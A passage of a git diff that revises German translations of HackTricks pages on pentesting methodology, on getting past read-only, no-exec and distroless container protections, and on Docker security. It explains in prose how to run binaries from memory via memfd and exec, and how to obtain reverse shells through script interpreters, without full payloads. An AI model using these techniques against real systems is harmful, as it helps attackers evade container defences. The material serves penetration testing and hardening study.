die häufigsten Aktionen zur Auflistung, Berechtigungserweiterung und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein. ### 11 - POST @@ -129,7 +129,7 @@ TODO: Vervollständigen Sie die Persistenz-Post in Windows & Linux Mit den **gesammelten Anmeldeinformationen** könnten Sie Zugriff auf andere Maschinen haben, oder vielleicht müssen Sie **neue Hosts entdecken und scannen** (beginnen Sie die Pentesting-Methodik erneut) in neuen Netzwerken, in denen Ihr Opfer verbunden ist.\ In diesem Fall könnte Tunneling erforderlich sein. Hier finden Sie [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Methodik](../windows-hardening/active-directory-methodology/) überprüfen. Dort finden Sie coole Tricks, um seitlich zu bewegen, Berechtigungen zu eskalieren und Anmeldeinformationen abzurufen.\ -Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.. +Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren. ### MEHR @@ -139,7 +139,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met * [**Grundlegendes Linux-Ausnutzen**](../exploiting/linux-exploiting-basic-esp/) * [**Grundlegendes Windows-Ausnutzen**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Grundlegende Ausnutzungstools**](../exploiting/tools/) +* [**Grundlegende Ausnutzungswerkzeuge**](../exploiting/tools/) #### [**Grundlegendes Python**](python/) @@ -149,7 +149,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](../cryptography/padding-oracle-priv.md) -
+
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -157,7 +157,7 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
-Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie das AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: @@ -165,6 +165,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen: * Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 17ebed463..d4124122b 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -1,4 +1,4 @@ -# Umgehung von FS-Schutzmaßnahmen: Nur-Lesen / Kein-Exec / Distroless +# Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
@@ -6,7 +6,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -27,9 +27,9 @@ In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken aus * [**DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4) * [**Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) -## Nur-Lesen / Kein-Exec-Szenario +## Nur-Lesen / Keine-Ausführung-Szenario -Es wird immer häufiger, Linux-Maschinen mit **Schutzmaßnahmen für das Nur-Lesen (ro) Dateisystem** zu finden, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`: +Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
apiVersion: v1
 kind: Pod
@@ -44,13 +44,13 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** weiterhin beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **no-exec-Schutz** eingebunden, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**. +Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Keine-Ausführung-Schutzmaßnahmen eingebunden**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**. {% hint style="warning" %} Aus der Sicht eines Red Teams wird es dadurch **kompliziert, Binärdateien herunterzuladen und auszuführen**, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie `kubectl`). {% endhint %} -## Einfachste Umgehung: Skripte +## Einfachster Umgehungsweg: Skripte Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter innerhalb der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python-Skript**, wenn `python` installiert ist. @@ -58,18 +58,18 @@ Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwer ## Speicherumgehungen -Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die **Schutzmaßnahmen dort nicht gelten**. +Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher heraus **ausführen**, da die **Schutzmaßnahmen dort nicht gelten**. ### FD + exec-Systemaufruf-Umgehung -Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird. +Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird. -Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen. +Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, zusammen mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen. {% hint style="warning" %} Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Rohsystemaufrufen** aus einem Skript haben. Daher ist es nicht möglich, `create_memfd` aufzurufen, um den **Speicher-FD** zum Speichern der Binärdatei zu erstellen. -Darüber hinaus wird das Erstellen eines **regulären FDs** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie nicht berechtigt sind, sie auszuführen, da der **no-exec-Schutz** angewendet wird. +Darüber hinaus wird das Erstellen eines **regulären FD** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Keine-Ausführung-Schutz** angewendet wird. {% endhint %} ### DDexec / EverythingExec @@ -105,13 +105,13 @@ Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu ### Reverse-Shell -In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie finden auch keine Binärdateien wie `ls`, `whoami`, `id`... alles, was Sie normalerweise in einem System ausführen. +In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie `ls`, `whoami`, `id` finden... alles, was Sie normalerweise in einem System ausführen. {% hint style="warning" %} Daher werden Sie **keine** **Reverse-Shell** erhalten oder das System **wie gewohnt durchsuchen können**. {% endhint %} -Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, dann ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**. +Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**. {% hint style="success" %} Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprache durchsuchen**. @@ -120,7 +120,7 @@ Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprac Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**. {% hint style="success" %} -In diesen Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**. +In diesen Containern werden jedoch normalerweise diese Schutzmaßnahmen existieren, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**. {% endhint %} Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index dc99e5d64..6ef1ec5b6 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,64 +2,65 @@
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
\ -Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\ -Erhalten Sie noch heute Zugriff: +Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\ +Heute Zugriff erhalten: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## **Grundlegende Sicherheit des Docker-Engines** +## **Grundlegende Docker-Engine-Sicherheit** -Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und eine grundlegende Sicherheitsschicht zu bieten. Zusätzlicher Schutz wird durch **Capabilities-Dropping**, **Seccomp** und **SELinux/AppArmor** geboten, um die Container-Isolierung zu verbessern. Ein **Authentifizierungs-Plugin** kann die Benutzeraktionen weiter einschränken. +Die **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch das **Abwerfen von Fähigkeiten**, **Seccomp** und **SELinux/AppArmor** geboten, um die Containerisolierung zu verbessern. Ein **Authentifizierungsplugin** kann Benutzeraktionen weiter einschränken. ![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ### Sicheren Zugriff auf die Docker-Engine -Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP erreicht werden. Für den Remote-Zugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen. +Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP zugegriffen werden. Für den Remotezugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen. -Die Docker-Engine lauscht standardmäßig auf dem Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen werden die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remote-Zugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen: +Die Docker-Engine hört standardmäßig auf den Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen sind die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remotezugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` -Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es ist ratsam, Verbindungen mit HTTPS abzusichern. Es gibt zwei Hauptansätze zur Absicherung der Verbindung: -1. Der Client überprüft die Identität des Servers. -2. Sowohl der Client als auch der Server authentifizieren gegenseitig ihre Identität. +Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es wird empfohlen, Verbindungen mit HTTPS zu sichern. Es gibt zwei Hauptansätze zur Sicherung der Verbindung: -Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Detaillierte Beispiele für beide Methoden finden Sie in [**dieser Anleitung**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +1. Der Client überprüft die Identität des Servers. +2. Sowohl der Client als auch der Server authentifizieren gegenseitig die Identität des anderen. + +Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Für detaillierte Beispiele beider Methoden siehe [**diesen Leitfaden**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). ### Sicherheit von Container-Images -Container-Images können entweder in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images an: +Container-Images können in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images: -* **[Docker Hub](https://hub.docker.com)**: Ein öffentlicher Registrierungsdienst von Docker. -* **[Docker Registry](https://github.com/docker/distribution)**: Ein Open-Source-Projekt, das Benutzern ermöglicht, ihr eigenes Repository zu hosten. -* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Das kommerzielle Registrierungsangebot von Docker mit rollenbasierter Benutzerauthentifizierung und Integration mit LDAP-Verzeichnisdiensten. +* [**Docker Hub**](https://hub.docker.com): Ein öffentlicher Registrierungsdienst von Docker. +* [**Docker Registry**](https://github.com/docker/distribution): Ein Open-Source-Projekt, das es Benutzern ermöglicht, ihr eigenes Register zu hosten. +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Das kommerzielle Registrierungsangebot von Docker mit benutzerbasierter Authentifizierung und Integration mit LDAP-Verzeichnisdiensten. -### Image-Scanning +### Bildscannen -Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder aufgrund der installierten Software auf dem Basisimage. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus vergleicht jedes Container-Image-Layer mit einem Repository für Sicherheitslücken, um Sicherheitslücken zu identifizieren. +Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder der darauf installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus funktioniert, indem es jedes Container-Image-Layer mit dem Sicherheitslücken-Repository vergleicht, um Sicherheitslücken zu identifizieren. Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/). * **`docker scan`** -Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Image-Namens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen: +Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das Image hello-world zu scannen: ```bash docker scan hello-world @@ -91,26 +92,25 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 Die Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von in Containern verwendeten Bildern. Hier ist eine zusammengefasste Erklärung: -- **Docker Content Trust** verwendet das Notary-Projekt, das auf dem The Update Framework (TUF) basiert, um die Bildsignierung zu verwalten. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io). -- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker Version 1.10 und höher deaktiviert. -- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Beim ersten Push des Bildes müssen Passphrasen für die Root- und Tagging-Schlüssel festgelegt werden. Docker unterstützt auch YubiKey für eine verbesserte Sicherheit. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Wenn versucht wird, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, wird ein Fehler "No trust data for latest" angezeigt. +- **Docker Content Trust** nutzt das Notary-Projekt, basierend auf The Update Framework (TUF), zur Verwaltung der Bildsignierung. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io). +- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist in Docker Version 1.10 und später standardmäßig deaktiviert. +- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Das Initiieren des ersten Bild-Push erfordert das Festlegen von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Der Versuch, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem Fehler "No trust data for latest". - Für Bild-Pushes nach dem ersten fordert Docker die Passphrase des Repository-Schlüssels an, um das Bild zu signieren. -Verwenden Sie den Befehl, um Ihre privaten Schlüssel zu sichern: +Um Ihre privaten Schlüssel zu sichern, verwenden Sie den Befehl: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -Beim Wechseln von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten. - +Beim Wechsel von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten. ***
\ -Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\ -Erhalten Sie noch heute Zugriff: +Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\ +Heute Zugriff erhalten: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -120,22 +120,25 @@ Erhalten Sie noch heute Zugriff: Zusammenfassung der Sicherheitsfunktionen von Containern -### Hauptfunktionen zur Isolierung des Hauptprozesses +#### Hauptfunktionen zur Prozessisolierung -In containerisierten Umgebungen ist die Isolierung von Projekten und ihren Prozessen von entscheidender Bedeutung für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte: +In containerisierten Umgebungen ist die Isolierung von Projekten und deren Prozessen entscheidend für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte: -#### **Namespaces** -- **Zweck**: Gewährleistung der Isolierung von Ressourcen wie Prozessen, Netzwerk und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern. -- **Verwendung von `unshare`**: Der Befehl `unshare` (oder der zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies nicht von Natur aus blockiert, tut Docker dies. -- **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Namespaces des Hosts zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` zum Einstieg. +**Namespaces** -#### **Control Groups (CGroups)** -- **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet. -- **Sicherheitsaspekt**: CGroups selbst bieten keine Isolationssicherheit, mit Ausnahme der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte. +* **Zweck**: Sicherstellung der Isolierung von Ressourcen wie Prozessen, Netzwerken und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern. +* **Verwendung von `unshare`**: Der Befehl `unshare` (oder das zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies grundsätzlich nicht blockiert, tut Docker dies. +* **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Host-Namespaces zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` für den Zugriff. -#### **Capability Drop** -- **Bedeutung**: Es handelt sich um eine wichtige Sicherheitsfunktion zur Isolierung von Prozessen. -- **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess durch das Ablegen bestimmter Fähigkeiten ausführen kann. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten das Ausführen privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden. +**Control Groups (CGroups)** + +* **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet. +* **Sicherheitsaspekt**: CGroups bieten an sich keine Isolationssicherheit, außer der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte. + +**Capability Drop** + +* **Bedeutung**: Es ist eine wichtige Sicherheitsfunktion für die Prozessisolierung. +* **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten abgelegt werden. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten die Ausführung privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden. Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen abgelegt hat: @@ -147,20 +150,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Es ist standardmäßig in Docker aktiviert. Es hilft, die **Syscalls weiter einzuschränken**, die der Prozess aufrufen kann.\ +Es ist standardmäßig in Docker aktiviert. Es hilft, die Syscalls, die der Prozess aufrufen kann, noch weiter zu **beschränken**.\ Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker verfügt über eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -Dies ermöglicht es, die Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner zu reduzieren... +Dies ermöglicht die Reduzierung von Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner... ### Namespaces -**Namespaces** sind eine Funktion des Linux-Kernels, die den Kernelressourcen so aufteilen, dass eine Gruppe von **Prozessen** einen Satz von **Ressourcen** sieht, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Die Funktion funktioniert so, dass für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespace beziehen sich auf 